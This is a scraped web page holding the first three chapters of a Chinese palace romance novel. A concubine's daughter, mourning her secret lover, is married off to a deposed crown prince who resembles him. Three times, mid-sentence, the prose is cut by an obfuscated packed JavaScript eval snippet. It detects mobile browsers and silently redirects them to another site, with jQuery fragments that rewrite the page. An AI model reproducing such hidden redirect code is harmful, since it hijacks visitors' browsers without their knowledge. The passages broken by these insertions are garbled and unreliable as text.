《太子以为我爱他?》 1. 第 1 章 得知顾焱死讯那日是个大晴天。 江念棠正用缠金丝并州剪在府内后花园采摘新开的玫瑰花,满园的玫瑰绚丽夺目,红彤彤的一片染红了天。 时人以牡丹花为贵为尊,这满园玫瑰即便是从万里之外的滇南运来,途中耗费大量人力、物力、财力的上等货,也只配给江府大小姐放在泡澡的木桶里,上不得台面。 烈日当空,蝉鸣呦呦。江念棠不受外界打扰,目光专注将眼前玫瑰萼片下方一寸的幽绿色细茎,“咔嚓”一声剪下整个花头,轻轻放进旁边的笸箩中。 她手脚又快又稳,面前这一簇花几下被剪的所剩无几。 款步走到另一片花田前,刚拈起一支新花要摘,迎面看见江夫人身边的章嬷嬷朝她走来。 “章嬷嬷。”江念棠停下手中动作,笑吟吟打招呼:“今儿个什么风把您吹来了,太阳日头大,小心中暑,有什么事儿您吩咐下面人跑一趟,何苦自己受累。” 章嬷嬷含着笑在她面前站定,应和道:“还是棠小姐心疼老奴,我这番前来是传夫人的话,请您过去一趟。” 这称呼颇有几番讲究。江府小姐少爷众多,若以排行论,加上夭折陨落的得排到几十开外,再者不方便家里上了年纪的长辈对上号,于是改为以名称呼。 而家里唯一被称为江小姐的,是江母亲生的掌上明珠江盈丹。 江念棠心里咯噔一下,面上维持笑意,转手塞了个鼓鼓的缎面荷包过去:“嬷嬷可知是何事?” “是件大喜事。” 章嬷嬷接过东西拢进袖中,眼角扫过脚边堆满玫瑰花的藤篮,笑意漫上眼尾。 江念棠垂立在齐胸高的花荫旁,素纱宽袖用襻膊缚住,露出两只莹白如玉的小臂,纤纤玉指细长均匀,靠在糜艳的花瓣上宛如霜雪般炫白夺目。 可惜手的主人长相略显平凡,最多只能称得上清秀二字。 章嬷嬷视线上移,眼前人鬓发微微湿润,密不透风贴在脸颊上,发丝从额头至耳郭遮住她大半张脸,看不清轮廓,整个人显得有些小家子气,与稍微体面奴婢站在一起毫无违和感。 不过正因如此,她才至今没有婚配,一方面大小姐喜欢她推拿的手艺舍不得放人,另一方面江家也不缺庶女去联姻。 章嬷嬷知道,江府里不少人私底下嘲笑江念棠一个庶出的小姐自降身份做这等采花粗活来讨好江夫人和江大小姐,殊不知能留在大小姐身边是件多难的事。 就比如采花这个活,既是个力气活,也是个磨人的活。 大小姐要求每片花瓣的大小,色泽基本一致,花瓣不得有缺口损害。 江念棠每日摘完花,还要逐个挑选,在她之前的采花丫鬟不知被杖毙发卖了多少个,而她一做就是三年。 玫瑰茎秆多刺,稍微分神便会被刺伤,它们却从未在江念棠身上留下痕迹。 仅这一件事,江念棠就展现出非凡的耐心与细致。 想到这,章嬷嬷心里更有底了,示意她放下东西跟自己走。 江念棠心里不详的预感更重,不动声色打探道:“哦,却不知是我一人的喜事,还是江府的喜事?” 章嬷嬷意味深长道:“既是您的喜事,也是江府的喜事。” 江念棠两眼发黑,手里的力道没控制住,茎杆上的尖刺戳破指尖,登时钻心的疼。 不过多亏了这疼,让她皲裂的表情重新凝聚。 她默不作声收回染血的手,放下利剪,温声交代婢女把花收拾好,才请章嬷嬷带路。 章嬷嬷看她做事十分有章程,满意点点头。 两人沿着九曲檐廊穿过七八个月洞门,红漆柱廊投射的阴影和刺目的阳光规律地轮流落在江念棠身上,纤弱的身姿忽明忽暗,如同她此时起伏不定的心情。 她今年已经十七有余,除了婚姻大事,江念棠想不出今日江母忽然找她的第二个理由。 江家的庶女都是笼络人心的工具,一到年纪或外嫁远地控制地方官员,或聘给高门为妾打探消息,她们要么不得善终,要么终身受制于江家。 江念棠靠着在大小姐面前伏低做小,讨巧卖乖,生生拖到今天还未婚配,只为等顾焱上门提亲。 他前两年被京兆尹看中招为麾下,前途一片大好,这次又自告奋勇随钦差下江南贴身保护。 临走时,顾焱找机会见了她一面,说回京后有办法向江家提亲,叫她等他回来。 江念棠好奇问他是什么办法,他却神神秘秘卖起关子,不过信誓旦旦保证会明媒正娶聘她为妻,带她逃离江家这吃人不见血的魔窟。 故而在听见顾焱死讯时,江念棠愣了半晌,面上难以维持一贯恭敬的神色。 “钦差大臣一行人下江南查税时遇到山匪,十余人不幸坠崖遇难,无人生还。有人举报所有是太子赵明斐为包庇贪官而痛下杀手。陛下震怒,在朝堂上大发雷霆,斥责太子目无法纪,知法犯法,当众褫夺他的太子之位。” 江夫人发髻上戴了整套的红玛瑙步摇,晃得江念棠头晕目眩,差点跌倒。 寒意从脚顺着脊柱爬上头皮,天灵感似被当头一棒,疼得让她无法思考。 后面说了什么江念棠几乎没有听清,她脑子嗡一下全是盲音,而后眼前不断交替浮现“坠崖遇难”和“无人生还”八个大字。 这些字眼像一个个猝了毒的粗针,直插心脏,鲜血淋漓。 “但陛下并未取消他与江府的婚约,责令礼部在下月初九的吉日成婚。我思来想去,府里只有你到了适龄的年岁,大皇子虽不再是太子,但陛下念及父子情分,并未贬为庶人,只要他迁居与西巷口闭门思过,你嫁过去只需照顾殿下起居,日子倒也清静怡然。” 江夫人神色威严,面无表情地坐在上方紫檀祥云纹太师椅上,手中端起鎏金银团花盏,不紧不慢地用盏盖撇去上层漂浮的茶叶尖,轻描淡写决定江念棠往后一生的命运,如同曾经那些被送走的女眷们。 她心里是极为失落的,若不是老爷说赵明斐复起希望渺茫,她倒是愿意让女儿江盈丹赌一把。 在江夫人眼里,赵明斐和女儿简直是天造地设的一对。 他文武双全,能力出众,最重要的是生母家世卑微,只能依靠岳家的力量在朝中站稳脚跟。从前女儿进宫陪皇后解闷时常常遇见赵明斐,对其俊朗的容貌和温润的性子心生爱慕之情。 只可惜江皇后传信说太子越长大越难控制,她已经容不下他。 江夫人见江念棠迟迟不答话,皱眉抬眼望去。 江念棠立于堂前,头压得极低看不清五官和表情,双手交叠放在裙摆,微微弓着身,显得局促不安。 她身上穿了件素白斜纹的棉麻裙衫,暗绿色襻膊绕过纤细的脖颈,像被缚的鸟雀。 头上只有一根漆黑木簪和几朵素色绢花挽发,整个人看上去灰蒙蒙的,丢在人堆里实在不起眼,给人第一印象是老实本分。 江念棠没有兄弟可依靠,生母又是病秧子,容易拿捏。 江夫人把府里的庶女们在脑子里过了一遍,再也找不出第二个比她更适合的人。 “你可愿意。”江夫人手里的茶盏撞上同样材质的檀木案几,发出沉闷地轰鸣声。 江念棠如梦初醒,急急收住眼前泛起的蒙蒙白雾,眼眸一垂一起间,将震惊与悲痛被囫囵埋在眼底。 她轻吸一口气,极力控制住暗哑潮湿的声线,压住嗓子温顺道:“一切听夫人安排。” 交叠在下的右手不自觉紧握成拳,指尖深陷掌心,力气大到刚愈合的食指尖再度流血,这刺心的痛让她勉力维持表面的镇定。 江夫人对她的知情识趣很满意,脸上有了一丝笑意:“我知道你是个听话乖巧的好孩子,这么多年我看在眼里。正巧昨日我向老爷提起将你记在我名下,他同意了。找个好日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405068|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将你的名字在族谱上挪一挪,从此你就是我江家二小姐。你的生母生养你有功,我替老爷抬她做贵妾,从此咱们母女齐心,光耀门楣。” 这话看似在抬举江念棠母女,实则警告她,她的母亲还在江府做人质,若是江念棠对江家存有异心,江夫人随时可以对付她母亲。 江念棠听明白了,顺从地福了福身,“多写夫人厚爱,为您分忧是我的荣幸。” 江夫人夸道:“小嘴甜的,难怪丹儿喜欢你,把你当亲姐妹。” 章嬷嬷唉哟一声,朗声笑道:“二小姐怎么还叫‘夫人’?” 江念棠立刻改口:“谢母亲。” 江夫人更满意了。 “你打扮得太素了些。”说着,她随手扯了发髻上的镶金红宝石镂空牡丹簪递给旁边的章嬷嬷,示意送过去。 江念棠双手接过沉甸甸的簪子,跪下拜谢。 “快回去把这个好消息告诉你生母。”江夫人处理完江念棠嫁给废太子的事,还要赶去安抚她的宝贝女儿。 江念棠不知道是怎么走回房的,她的脚像踩在云端,没有一步是落到实处。烈阳照在她身上,后背却无端出了一身冷汗,热风吹过,宛如冬日浸没在冰湖般寒凉。 路上有人和她打招呼,她看不清是谁,也听不清她们说了什么,只是依靠本能颔首微笑回应。 最后的理智告诉她不能在人前哭出来,于是便硬生生凝住眼里的泪,指尖再度陷入掌心,这一次,却感觉不到疼。 浑浑噩噩地打开房门,屋内阴冷的风迎面撞过来,江念棠猛地从云端坠入泥地。 她想起来了,顾焱死了。 江念棠像是梦醒了般,双手交叠死死捂住口鼻,牙关紧咬。 顾焱死了,她还要活下去。 若是被人发现她与外男私下来往,莫说她性命难保,还要连累母亲遭殃。 然而多年的隐忍与筹谋在今日顷刻间化为乌有,江念棠几欲呕血。 她气顾焱为什么不告诉她去执行这么危险的任务,恨他为什么在给了她信誓旦旦的承诺后又失约。 但比恨更深的是锥心般的自责,若不是她的年岁已大,顾焱也不会着急立功铤而走险。 * 西巷口是一片区域,占地极广,一眼望去难见人踪。 此处树木茂密,假山怪石嶙峋,又有清流急湍环绕,亭台楼梯掩在山水之间,小院虽不及东宫的红墙金瓦华美尊贵,但胜在清雅闲适,颇有一番世外桃源的超脱。 水流汇聚终点是一处荷花池,夏日正是开花的好时候,各色荷花借清风吹到岸边临水的烟波洲。 小洲似船舫,船头为台,三面环水可近赏鱼戏莲叶,中舱为榭,四角亭翘檐高耸,轻盈灵动。沿着檐角往上,是船尾拔地而起的二层阁楼,门上额匾挂着“烟波洲”三个金漆大字。 废太子赵明斐端坐于阁楼窗牖边,莲池美景在他眼里一览无余。 明明被幽禁在此处已有十余日,他的脸上没有半点惊慌焦虑,骨节分明的手攥着一本发黄的古籍慵懒地斜躺在罗汉塌上,半遮半掩住下半张脸,露出清隽舒朗的眉目,双眸含笑间尽显风光霁月,温润玉如。 “父皇这道圣旨,江首辅打算如何应对?” 赵明斐神色未变,眼底流露出一丝揶揄。 江家人一贯是捧高踩低的势利眼,他如今失势,那位从小被当做太子妃,甚至是未来一国之母教养的江大小姐总不会非他不嫁? 贴身太监左公公满脸愤懑:“江首辅竟然将一位庶女过继到江夫人名下,充作嫡女嫁给您,简直欺人太甚!” 赵明斐闻言挑了挑眉,“江家倒是会打算。” 他气定神闲问是哪位小姐。 “叫江念棠。” 赵明斐目光专注凝视书卷,修长的指尖漫不经心挑开下一页书卷,无所谓道。 “没听过。” 2. 第 2 章 江念棠要嫁给废太子的消息不胫而走,府里不少与她有来往的姐妹纷纷过来打探消息。 “二小姐,听闻大皇子俊美无俦,仁善宽和,从不打罚下人,你嫁过去应当不会受委屈。” “京中流传他五岁识千字,七岁做赋伦,十岁能马上射百尺,文武双全。对了,他三年前治理了龚州水患,去年还带兵平过贼寇咧!” “你们不知道吧,大皇子还画的一手好丹青,咱家那位大小姐有幸得过一幅,当宝贝似的日日挂在闺房内。” “噤声,敢议论大小姐,你不要命了!” 诸位姐妹顿时哑了声,面面相觑,气氛一时间有些凝滞。 江念棠头上斜插江夫人送的牡丹簪,笑着打圆场:“母亲抬举我罢了。若不是大皇子遭飞来横祸,龙困浅滩,这样的好事也未必轮得上我。” 此言一出,心里妒忌她的姐妹瞬间开怀。 赵明斐再优秀又如何,如今已被陛下厌弃,江府把江念棠嫁过去明显也是彻底放弃废太子有复起的可能性。她明面上被记在江夫人名下成为嫡女,实则不过是江大小姐的替罪羊罢了。 想到这,再看她头上的牡丹簪也没那么刺眼。 有人假惺惺安慰:“二小姐到底是嫁给皇子做正妻,我们姐妹日后相见得尊称她一声皇子妃。” “是呀,大皇子虽然被幽禁,但好处是你们大门一关,顾着自个儿的小日子便是,不需理会外面的纷纷扰扰。” 这话说得违心,她们心知肚明江念棠这一去怕是再难回来,说不准将来新帝登基,第一个要杀的就是废太子,她十有八九跟着受累,恐怕性命难保。 江念棠笑着称是,眉宇间却始终有一团化不开的愁绪,这让那些曾经地位待遇比江念棠略高一筹,如今却要称呼她为二小姐的庶女们乐开了花。 还有的白眼狼想着江念棠既然要嫁人离府,往后便再也没办法照应自己,索性及时止损,将今儿准备给她的银钱拿回去。 江念棠的生母是个药罐子,阖府皆知,需要大量的钱来买各种名贵的药材。 她看在眼里,脸上依旧是谦和有礼,面面俱到地谁也不冷落。 “时候不早,咱们也该回了。”打探够消息,确定江念棠以后要被幽拘,她们也没了呆下去的心思。 一泱子人火急火燎地来,又做鸟雀兽状散,真是应了那句天下熙熙,皆为利来,天下攘攘,皆为利往。 往后数十日,江念棠一边学习繁琐的宫廷礼仪,一边躲着教习嬷嬷加紧处理房间里不该留的东西。 火盆里的烈焰吞噬了一件又一件顾焱送她的礼物,以及她给顾焱亲手做的还未送出去的小物件。 跳跃的焰光落进江念棠漂亮的眸子里,却难以照亮眼底深沉的黑。 麻木地把头上的木簪扔进火里,等火舌没过时她猛然伸手去抓,炙焰灼伤她的五指,江念棠却浑然不觉。 就这一件,留个念想吧。 证明他曾经来过她的人生。 江念棠努力说服自己做出的这个不理智,不清醒的行为。 她鬼使神差地把木簪插回原位,簪尖的海棠花被烧得面目全非,发出的焦味像极了焚烧尸体的腐臭,熏得人喘不过气来。 其余没办法焚烧的东西被她狠心砸了个稀巴烂,分开埋在自己的小院各处。 出嫁前一天,有位不速之客偷偷摸摸进了江念棠的院子。 江念棠正要关门,一只素手拦在门边,吓了她一跳。 “落梅,你怎么来了?” 来人正是斥责众人议论江大小姐的江落梅,她的生母和江念棠的一样,都是位卑的侍妾,不过她有个好哥哥,被江父给予厚望,她的地位自然也水涨船高。 江落梅朝门外瞥了一眼,趁无人注意猛地扎进江念棠的房间,又啪地一下关上门,她单刀直入:“你要嫁给赵明斐?” 江念棠疑惑地看向她,“是,母亲说……” 江落梅不耐烦打断他:“那他怎么办?” 江念棠怔愣了下,明白过来她说的是谁后眼神陡然变得冰冷:“我不知道你在说什么,若无事请回吧,我还要准备明日的大婚。” “顾焱,他知道你要……” “住口!”江念棠被这两个字刺痛了神经,连日来逼迫自己维持的平静被猝不及防打破:“我不认识这个人,你不要张口胡言乱语。” 她没想到江落梅竟然记得顾焱,更没想到她会大大咧咧找上自己说起他。 “江念棠,他为你做了这么多事,你却为荣华富贵负了他,良心过得去吗?”江落梅替那个人不值,激动地拔高。 “我有的选吗?”江念棠脸上一片寒凉,五指深陷掌心,极力控制自己的情绪。 然而江落梅步步紧逼,“至少我会争取,哪怕最后头破血流。” 江念棠冷笑了声,那也得老天给她争取的机会。 “你走吧。”江念棠转身背对着她,冷冷道:“不要在任何人面前提起他,对大家都好。” 江落梅知道江念棠心中的顾虑,却又恼她薄情寡义,叫顾焱一番真心错付。 “谢谢你当年叫他救我。”她扔下一个沉甸甸的荷包,语气与她一般冷:“这件事会烂在我肚子里,不会挡了你的通天大道,我们之间的恩怨一笔勾销。” 江念棠等她离开才缓缓转身,眨了眨水光潋滟的眸,她缓缓拾起乌木案几上的青烟色的缎面荷包,打开一看,全是金子。 小的有金豆子,金花生,大的有金锭,金块,林林总总加起来有近百两之多。 这对于江家来说不算什么,可对她们这些庶出的小姐,却是一笔不菲的钱财。 烛光浮在表面发出莹莹金光,刺得江念棠眼眶微烫。 顾焱,原来除了我,还有人记得你。 * 六月初九,乌云蔽日,是钦天监算出来近期最宜嫁娶的好日子。 说是好日子,实则是皇帝急急给废太子找个人送过去照顾起居,既全了天家父子亲情的颜面,又彰显自己的仁厚宽宥。 江家把庶女充作嫡女嫁过去的事儿得到了皇帝默许,更加印证废太子真的遭到皇帝厌弃,连最重要的大婚都能滥竽充数。 所以无论是礼部,还是江府,都没把这桩婚事当成一件正经事来办,繁琐的礼仪能免则免,婚礼布置能简则简。 江念棠的嫁妆只比庶出的小姐多了几抬,相较于普通富户尚可,但以江家嫡次女的身份却是十分简陋。 嫉妒她得了江二小姐名头的庶女们心里那股子酸气完全舒坦了,暗嘲她做牛做马那么多年也没个好下场,最后竹篮打水一场空,不说嫁个高门显贵做正妻,至少也不会白白去送死。 江念棠若是知道她们内心所想,也只会一笑置之。 去不去,哪里是她能做主的。顾焱的死让她看清了万般皆是命,半点不由人,机关算尽又如何,抵不过老天爷开的一个玩笑。 吉时到。 从江府出来的红顶花轿没入黑暗,这一小簇红未能给暗沉的天空带来活力,反而透出几分诡异,像暗夜中溅射而出的血。 大皇子赵明斐是戴罪之身,大婚也没有得到特赦,宫里只派了个低等太监引江念棠一行人入宫,还未得拜见皇帝皇后,便入了西巷口。 至于拜堂、宴酒之类的仪程也是能省则省。 幸而这日的雨相当懂事,它憋了一整天,等她进院子入新房时才一股脑地倾盆泼下。 夏雨阵阵,铺天盖地,屋外暮色茫茫,屋内亦不明朗。 时间变得模糊,江念棠等了许久都不见外面有人进来,她双手执喜上眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405069|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梢团扇挡在脸前,透过薄薄的绢纱悄声打量周围环境。 整个屋子色调灰暗,除了云纹窗格上敷衍地贴着几张大红的喜字,几乎没有什么布置新房的痕迹。 几根白烛落在屋内四周的墙角,发出惨淡的光。 陈旧的家具显得房内昏暗阴沉,黑黢黢的看不出原来的颜色,压抑感扑面而来。 墙角随意堆放几个镂空花鸟纹的漆金木箱,金漆斑驳,铜锁耷拉吊在半空,风从窗牖中透过来,吹动铜锁发出嘎吱嘎吱的刺耳声响。 整个新房里最喜庆的就是枯坐在剔云纹梨木拔步床中央的红嫁衣新娘。 江念棠忽然觉得有些好笑,心道这不像新房,更像是灵堂。 隐约间,一道颀长的身影踏入房内。 江念棠敏锐地捕捉到他正慢慢踱步朝她而来,身体莫名打了个颤,连忙挺直腰,握住团扇的手紧了紧,躲在扇面后的眼眸又垂一分。 头顶猛然坠落一片阴影,重重压在她的身上。 还没见到赵明斐的脸,他身上那股摄人的气势先行到来,迫得江念棠喘不过气。 她平日里在大小姐身边跟着时偶尔听她夸过赵明斐风姿俊朗,柔如涧溪,姐妹们也说他温文尔雅,为人和善,但落在头顶的目光令江念棠觉得像被一条毒蛇盯上。 好奇心驱使她忍不住往上看。 江念棠本能地调整好脸上的表情,衔着微笑缓缓抬头。 清泠泠的双眸露出团扇瞬间,她对上一双再熟悉不过的眉眼。 瞳孔倏地紧缩,藏在扇底的假笑顷刻崩塌。 顾焱,子期,你还活着! 刹那间,燥热潮湿的空气凝固在江念棠周围,她的身体也一同僵化。 有那么一刻,她以为自己在做梦,张口想要喊出今生今世都要被埋藏在心底的那个名字,却在下一秒吞进咽喉。 “怎么在发呆?” 那双酷似顾焱的黑眸微微弯了弯,充满善意地问:“是饿了么?” 寂静阴森的屋子在他温润的目光下宛如注入一道亮光,破开厚重的云幕,直插江念棠的心脏。 她黯淡的眼眸重新点亮,蓦地又变得通红。 时至今日再次看见这双眼睛在自己面前,江念棠才明白连日压抑在心中的恨和怨都是假的,是不肯承认心上人已经死去的幌子,她企图用更强烈的怨恨来掩盖巨大的悲痛。 然而她真正想的,只是顾焱还活着而已。 哪怕他不能如约娶自己。 哪怕她依旧迫于家族压力要嫁入宫闱,被人磋磨。 因为顾焱于她而言,就如在暗夜踽踽独行时面前的一束光,即便她无法拥有,也不想光就此泯灭消逝。 江念棠握住团扇的手猝然卸了力,啪嗒一声落在地上,发出突兀的声响。 没了扇子遮挡,她看全看清眼前人的样貌后眼眸忽地黯了下来。 眼前这位身穿烟红绛袍的男子清隽疏朗,眉目之间含着三分笑意,显得十分亲和。但他体格高大,站在江念棠面前投下浓黑的阴影,完全将她笼在其间,尤其是他低头时会不自觉带出一丝久居上位的威压。 他的唇薄如锋刃,锐利得仿佛能划破铜墙铁壁,即便是笑,也有一种高居云端,傲然于世的疏离感。 顾焱却不同,他的唇饱满丰厚,笑起来的样子像六月的烈阳,能轻易感染身边每一个人。 赵明斐是金尊玉贵的大皇子。 不是一无所有的顾焱,顾子期。 江念棠毫无预兆地落下两行清泪。 这是她为顾焱的死第一次流泪。 赵明斐眸光轻闪,暗自记下她怪异的反应,旋即温和一笑敛去眼底沉色。 “怎么哭了,我长得很吓人?” 话音刚落,惊雷轰地一声劈在头顶。 3. 第 3 章 江念棠想自己一定是得了癔症,居然会把两个气质截然不同的人混在一起。 她慌忙低头去寻脚边的喜扇,借机掩盖眼中的震惊与失落。屋子闷热,然而她脸上的泪却凉如寒冰,几乎要将她冻伤。 屋里实在太暗了。 江念棠身穿厚重繁复的青色飞雀群花吉服,半天没有寻到,急得她手忙脚乱毫无章法地往下摸,仓促间撞上一只微凉的手,她猛地缩回去。 “给你。”赵明斐俯身拾起扇柄,不急不缓地递到她眼前。 黑暗中,他搭在桐木黑漆扇柄上的手指白得刺眼, 江念棠仍低着头,呼吸急促,手指僵硬到无法抬起。 赵明斐也不催促,静静地站在一旁。 外面的雨下得更大,雨滴如万箭齐发密密麻麻地撞击在瓦片上、窗牖上,宛如她此刻的心乱如麻。 江念棠脑海里已千回百转,实际不过眨眼间。 她忍痛压下胸口如暴雨般汹涌的情绪,又趁着拿起团扇的机会迅速抹掉眼角残留的泪痕,再抬头时已恢复惯常待人的微笑。 “谢谢殿下。”她低声回话:“妾只是有些怕黑。” 她找了个理由解释自己的失常:“房中久久无人,我心中惶恐。正巧殿下走进来,我一时间没有反应过来,故而在您面前失礼,请您恕罪。” 赵明斐没有拆穿她拙劣的谎言,不动声色地审视江念棠。 她察觉到他的目光,不卑不亢看过来,嘴角含着浅笑,神情温顺中带着恰到好处的恭敬,有一种人畜无害的亲和力,能叫人轻易放下防备。 尤其是她的眼睛,清波流转间尽显温柔,既不过分张扬大胆,又不显怯懦小气,如一颗蒙上轻纱的夜明珠,散发柔和舒适的光。 赵明斐身为太子之时,见过的美人不计其数,各有风姿,她们或因他的皮囊,或因他的身份而趋之若鹜,眼里总有令人作呕的贪婪,唯有江念棠的双眸清澈见底,无欲无求。 但他是不信的。 人活在世上,除非得道成仙,否则必有所图。 赵明斐柔声道歉:“是我考虑不周。夜里我喜黑,故而房内灯烛偏少。屋内无人是因为新进院的人按规矩要被统一搜身,防止传递消息,他们若是没有问题,明早就会到你身边伺候。” 江念棠了然,这是为了防着他。 赵明斐顺势坐在床榻边圆木绣凳上,与江念棠保持三步之遥的妥帖距离,等她的目光与自己齐平后轻声开口。 “嫁给我很难过吧。” 江念棠一愣,旋即摇摇头。 赵明斐笑了声,凝重的气氛变得轻松起来,“你刚才都哭了。我知道这桩婚事并非你所愿,我如今也不是良配,等过段时间我会找个机会请父皇开恩,放你离开,不会叫你与我一样在这处孤独终老,荒废年华。” 江念棠听见他说自己哭了的时候紧张得咬住下唇,又在听见后面的话时不可置信地看过去:“放我离开?” 赵明斐身体坐得板正,矜贵的仪态在陋室中风采依旧,如朗朗皎月照亮朦胧夜空。 “我会让父皇废除这门婚事,我们的婚约不作数,你回去后可另择佳婿。” 他的神色平静温和,并无愤恨怨怼之色,对于用来羞辱他的自己亦无恶语相向,反倒以礼相待。 是的,她嫁给他于赵明斐而言是一种羞辱。 赵明斐的生母并非士族,是皇商的女儿,家中经营香料,故而入宫之时只得封为低位美人。 但他出生之时天有异象,钦天监上书是大吉之兆,皇帝大喜,将他封为太子记在皇后名下,又加封他的生母为贵嫔。 在他出生前还有过其他的皇子,可他们都因各种原因夭折,赵明斐在名义上占了长子和嫡子,从出生起尊贵非凡。 这次触怒龙颜,皇帝不仅仅是废黜他东宫太子之位,更是将他在宗室的玉碟改了回去。 如今的废太子赵明斐已经不是中宫所出,而是贵嫔之子,其中的差距堪比云泥。也正因为他不再有嫡子的头衔,众人才肯定他复起无望。江家以庶女充嫡女嫁给他,正有怠慢轻贱之意。 庶女配庶子,天造地设,皇帝没有阻止,亦有此意。 江念棠平心而论,若她被人这番折辱,即便脾气再好也没办法毫无芥蒂。 来之前,江念棠已经做好被磋磨的准备,只要留住一条命,江家无论是投鼠忌器还是用以威胁,母亲都能好好活着。 虽说传闻中赵明斐宽宥仁慈,是翩翩君子,但传闻归传闻,真假难辨,却不曾想他比想象中的更善良淳厚,到了这样难堪的境地还为她着想。 江念棠定了定神,拒绝他的好意:“殿下此言差矣,我们已是名正言顺的夫妻,上了玉碟,我不会离您而去。” 赵明斐目光端正,语气恳切:“我不会碰你。不是因为厌恶鄙夷你,而是不想你将来后悔。” 江念棠喉头微颤,愈发不相信他会做出雇凶杀人之事。她不懂朝政,却深知人性,赵明斐在这件事中非但没有捞到好处,反而跌入尘埃。 他显然是受害者。 她心里萌生一个想法,赵明斐若想复起,必须先调查清楚此事,倘若跟在他身边,是否能看见害死顾焱凶手伏诛的一日。 江念棠知道这件事虚无缥缈,赵明斐或许此生都无法东山再起,可万一呢? 再说,此时的她也没有另外的路。 江家嫁出去的庶女还未有被退回一说,回去等着她和母亲的只有暴毙而亡。 “我不……“ 赵明斐打断她:“若有一日,你心生去意,不妨直言告诉我,今夜我对你的承诺一直作数。” 至于江念棠是横着出去,还是竖着出去,全凭他心情。 赵明斐话已经说到这个份上,江念棠若继续争论就是矫情。他们两人之间本就没什么感情,哪来的生死相依,说出来他也不信。 于是她顺着他的话站起福身:“谢殿下厚爱。将来的事,将来再说。” 赵明斐轻笑了声,不再纠缠这个话题,他看了眼一旁的漏刻,转而道:“时辰不早,你早些歇息。” 看出江念棠身体僵硬,他体贴道:“今日我睡在外间的罗汉榻上对付一晚,你自行洗漱,不必理会我。等明日过后,你就在这里先安心住下,若有需要派人去告诉我,我尽可能满足你。” 江念棠直言不合规矩:“要睡也是我去外间,殿下天潢贵胄,怎能将就?” 他扬唇一笑,竟开起玩笑来:“你现在是皇子妃,我的正妻,同我地位一样,你能将就我如何不能?” 说完兀自起身,负手而去,留给江念棠一道飘逸挺拔的背影。 她眼眸微颤,浓密的睫毛如蝶翅轻扇,却掀起心口一阵风暴。 顾焱,他笑起来的样子,真像你。 净室设在东边的耳房内,江念棠故意多放了一桶冷水,泡在微凉的清水中,她脑中的胡思乱想方才沉淀了些许。 今日已经是她第二次弄混他们两人,江念棠暗自敲打自己这种大错往后万万不可再犯。 赵明斐虽被废黜,观他神色对自己也无旖念,可这并不代表她能光明正大的表示自己心里有人。 江念棠慢慢沉下身,直至水没过头顶。 四面八方的水压带来的不仅是难耐的窒息,还有绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405070|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对安全感。 时至今日,她终于可以为顾焱放肆地哭一场。 温热的泪刚从眼眶里溢出,就被微凉的洗澡水同化,无论她的泪有多少,都不会有人发现。 这段时日,她看似已经接受顾焱的死亡,实则心里始终抱有一丝期待,听江夫人说他们尸骨未存,她祈祷会不会是有人误传消息。 但不知为何,当她看见赵明斐后这丝幻想莫名被戳破。 江念棠清晰地意识到她这辈子与顾焱已是生死两茫。 碧落黄泉,不复相见。 他有几分像你,却终究不是你。 江念棠沐浴的时间是以往的两倍之久,等她惊觉时水已经彻底凉透,好在此时是夏季,即便是殿外下着雨,屋内的温度也不算低。 她急急起身穿上素白寝衣,捞了一汪水处理掉藏起来的东西,再仔细洗干净残留的水渍,推门而出时顺手披了件杏色小菱纹对襟罩衫。 重回寝殿,赵明斐已经在外间躺下,屋内仅剩一盏灯,恰好照亮她走到床榻间的路。 江念棠蹑手蹑脚地走到床边,缓而轻地放下竹绿色轻纱帐,慢慢躺下。 她的眼睛不由自主转到外间。 赵明斐朝着反方向睡,罗汉塌上只隐约看见一球黑。 清风阵阵,盈满床帏,轻盈的纱帐飘在空中宛如浪潮,扰乱她的视线。 忽然,她起身从床脚拿起一床薄被,轻手轻脚下榻。 江念棠小心翼翼将被衾盖至赵明斐胸口,做完后她站在一旁盯着他看得入神。 赵明斐脱下礼服换了银白色的寝衣,衣襟将喉结以下的部分包裹得十分严实,只露出两寸长的上脖颈,肌肤如瓷如玉。 他双眸紧闭,浓眉似剑,微抿的唇带出几分无情,谁能想到这样冷淡薄情的长相却是个温和仁善的性子。 凭良心说,顾焱长得没有他好看,赵明斐甚至比她见过的任何一个男子都俊朗。 对比的念头一起,江念棠便惊惶压下,再不敢多看一眼,匆匆落荒而逃。 她转身离开的瞬间,塌上人内侧广袖下紧握的匕首悄然松了松。 赵明斐睁开眼,余光捕捉到一片雪白的裙角。 夤夜时分,屋外的雨已停歇,夏蝉恢复高歌。一束银光在纱帐间若隐若现,赵明斐提着未入鞘的匕首站在江念棠床头。 